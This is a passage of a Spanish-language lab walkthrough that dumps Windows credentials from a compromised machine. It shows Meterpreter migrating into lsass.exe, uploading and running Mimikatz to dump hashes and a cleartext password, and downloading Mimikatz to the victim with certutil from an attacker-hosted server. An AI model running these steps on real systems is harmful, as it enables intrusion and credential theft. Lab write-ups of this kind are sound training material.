Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 0a f3 a4 c2 1c ac 07 2f 83 07 61 b5 02 67 89 78 95 2d f3 0d 0f c8 4e 4e a5 c8 92 f6 74 a6 ea b6 fb 62 3e a7 93 cf cf 6f
full: 0af3a4c21cac072f830761b502678978952df30d0fc84e4ea5c892f674a6eab6fb623ea793cfcf6f
m/u : 0af3a4c21cac072f830761b502678978952df30d / 0fc84e4ea5c892f674a6eab6fb623ea793cfcf6f
old/hex : 01 00 00 00 c9 22 d6 0b 83 9e dd 98 a7 ad 7a 5a c5 ff 4e bb 8a d2 6f 01 61 be bf d4 bc 70 54 70 fd df 46 12 a8 c5 e5 2d 98 6c 79 71
full: c922d60b839edd98a7ad7a5ac5ff4ebb8ad26f0161bebfd4bc705470fddf4612a8c5e52d986c7971
m/u : c922d60b839edd98a7ad7a5ac5ff4ebb8ad26f01 / 61bebfd4bc705470fddf4612a8c5e52d986c7971
Con esto, terminamos de usar el módulo Kiwi, ahora podemos cargar el programa mimikatz.exe para poder obtener lo mismo que hizo Kiwi.
Usando Mimikatz en Máquina Víctima
Para que el mimikatz.exe funcione debe ser ejecutado como un administrador, para identificarnos como administrador desde el Metasploit Framework, necesitamos migrar a un proceso que es ejecutado unicamente como administrador, el más común de estos procesos es el lsass.exe. Para migrar a este proceso, necesitamos su PID y que tengamos permisos suficientes para esta migración, hagamos esto por pasos:
- Viendo procesos:
meterpreter > ps - Process List ============ - PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x64 0 236 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 268 428 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe 320 312 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 328 428 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE 364 312 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe 392 372 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 428 364 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe 464 372 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe 476 364 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe 484 364 lsm.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe 592 428 svchost.exe x64 0 NT AUTHORITY\SYSTEM 668 428 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE 728 428 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE 756 464 LogonUI.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe 816 428 svchost.exe x64 0 NT AUTHORITY\SYSTEM 864 428 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE 900 428 svchost.exe x64 0 NT AUTHORITY\SYSTEM 1036 428 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE 1128 428 svchost.exe x64 0 NT AUTHORITY\SYSTEM 1268 428 VGAuthService.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe 1316 428 vmtoolsd.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe 1596 428 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE 1792 592 WmiPrvSE.exe 1972 428 msdtc.exe x64 0 NT AUTHORITY\NETWORK SERVICE 2460 428 sppsvc.exe x64 0 NT AUTHORITY\NETWORK SERVICE 2508 428 svchost.exe x64 0 NT AUTHORITY\SYSTEM 2584 428 SearchIndexer.exe x64 0 NT AUTHORITY\SYSTEM
- Obteniendo PID del proceso lsass.exe:
meterpreter > pgrep lsass 476
- Migrando a este proceso:
meterpreter > migrate 476 [*] Migrating from 268 to 476... [*] Migration completed successfully.
Una vez que ya hemos migrado de proceso, vamos a cargar el programa de mimikatz.exe, este programa esta por default en Kali:
meterpreter > upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
[*] Uploading : /usr/share/windows-resources/mimikatz/x64/mimikatz.exe -> mimikatz.exe
[*] Uploaded 1.29 MiB of 1.29 MiB (100.0%): /usr/share/windows-resources/mimikatz/x64/mimikatz.exe -> mimikatz.exe
[*] Completed : /usr/share/windows-resources/mimikatz/x64/mimikatz.exe -> mimikatz.exe
meterpreter > dir
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2017-07-21 01:56:27 -0500 $Recycle.Bin
040777/rwxrwxrwx 0 dir 2022-02-18 09:11:31 -0600 Config.Msi
040777/rwxrwxrwx 0 dir 2009-07-14 00:08:56 -0500 Documents and Settings
040777/rwxrwxrwx 0 dir 2009-07-13 22:20:08 -0500 PerfLogs
040555/r-xr-xr-x 4096 dir 2022-02-18 09:02:50 -0600 Program Files
040555/r-xr-xr-x 4096 dir 2017-07-14 11:58:41 -0500 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2017-12-23 20:23:01 -0600 ProgramData
040777/rwxrwxrwx 0 dir 2022-02-18 08:09:14 -0600 Recovery
040777/rwxrwxrwx 0 dir 2017-07-14 08:48:44 -0500 Share
040777/rwxrwxrwx 4096 dir 2024-03-11 21:41:55 -0600 System Volume Information
040555/r-xr-xr-x 4096 dir 2017-07-21 01:56:23 -0500 Users
040777/rwxrwxrwx 16384 dir 2024-03-11 21:21:40 -0600 Windows
100777/rwxrwxrwx 1355264 fil 2024-03-11 22:45:55 -0600 mimikatz.exe
000000/--------- 0 fif 1969-12-31 18:00:00 -0600 pagefile.sys
Y nos metemos con una shell a la máquina:
meterpreter > shell
Process 1384 created.
Channel 3 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\>
Ahora, ejecutamos el programa mimikatz.exe:
C:\>.\mimikatz.exe
.\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz #
Revisamos que tengamos los privilegios necesarios para dumpear los hashes:
mimikatz # privilege::debug
Privilege '20' OK
Y obtenemos las credenciales:
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 542841 (00000000:00084879)
Session : Interactive from 0
User Name : Administrator
Domain : haris-PC
Logon Server : HARIS-PC
Logon Time : 12/03/2024 03:21:36
SID : S-1-5-21-319597671-3711062392-2889596693-500
msv :
[00010000] CredentialKeys
* NTLM : cdf51b162460b7d5bc898f493751a0cc
* SHA1 : dff1521f5f2d7436a632d26f079021e9541aba66
[00000003] Primary
* Username : Administrator
* Domain : haris-PC
* NTLM : cdf51b162460b7d5bc898f493751a0cc
* SHA1 : dff1521f5f2d7436a632d26f079021e9541aba66
tspkg :
wdigest :
* Username : Administrator
* Domain : haris-PC
* Password : ejfnIWWDojfWEKM
kerberos :
* Username : Administrator
* Domain : haris-PC
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
...
También obtenemos los hashes del SAM:
mimikatz # lsadump::sam
Domain : HARIS-PC
SysKey : a749692f1dc76b46d7141ef778aa6bef
Local SID : S-1-5-21-319597671-3711062392-2889596693
SAMKey : a226d4d47dab3eb7a306c8b85ec359cb
RID : 000001f4 (500)
User : Administrator
Hash NTLM: cdf51b162460b7d5bc898f493751a0cc
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : haris
Hash NTLM: 8002bc89de91f6b52d518bde69202dc6
Cargando Mimikatz desde Nuestra Máquina
Por último, vamos a cargar mimikatz desde nuestra máquina, utilizando certutil.exe
Primero, vamos a abrir un servidor en Python:
python3 -m http.server 80
Ahora con certutil.exe, descargamos mimikatz en la máquina víctima:
C:\>certutil.exe -f -urlcache -split http://Tu_IP/mimikatz.exe
certutil.exe -f -urlcache -split http://Tu_IP/mimikatz.exe
**** Online ****
000000 ...
14ae00
CertUtil: -URLCache command completed successfully.
Revisamos que se haya descargado correctamente:
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is BE92-053B
Directory of C:\
12/03/2024 05:15 73,802 eternal-blue.exe
12/03/2024 06:04 1,355,264 mimikatz.exe
14/07/2009 03:20 <DIR> PerfLogs
...
Y listo, ahora podemos usar la herramienta mimikatz.exe para obtener los hashes y credenciales.
Ahora que tienes las credenciales y hashes, puedes probar a conectarte a la máquina con la herramienta psexec o con Crackmapexec alzar el servicio RDP y conectarte, etc. ¡Intentalo!.
Links de Investigación
- https://github.com/AnikateSawhney/Pwning_Blue_From_HTB_Without_Metasploit
- https://www.avast.com/es-es/c-eternalblue
- https://www.exploit-db.com/exploits/42315
- https://github.com/worawit/MS17-010
- https://www.elladodelmal.com/2018/01/named-pipe-impersonation-escalando.html
- https://resources.infosecinstitute.com/topics/penetration-testing/mimikatz-walkthrough/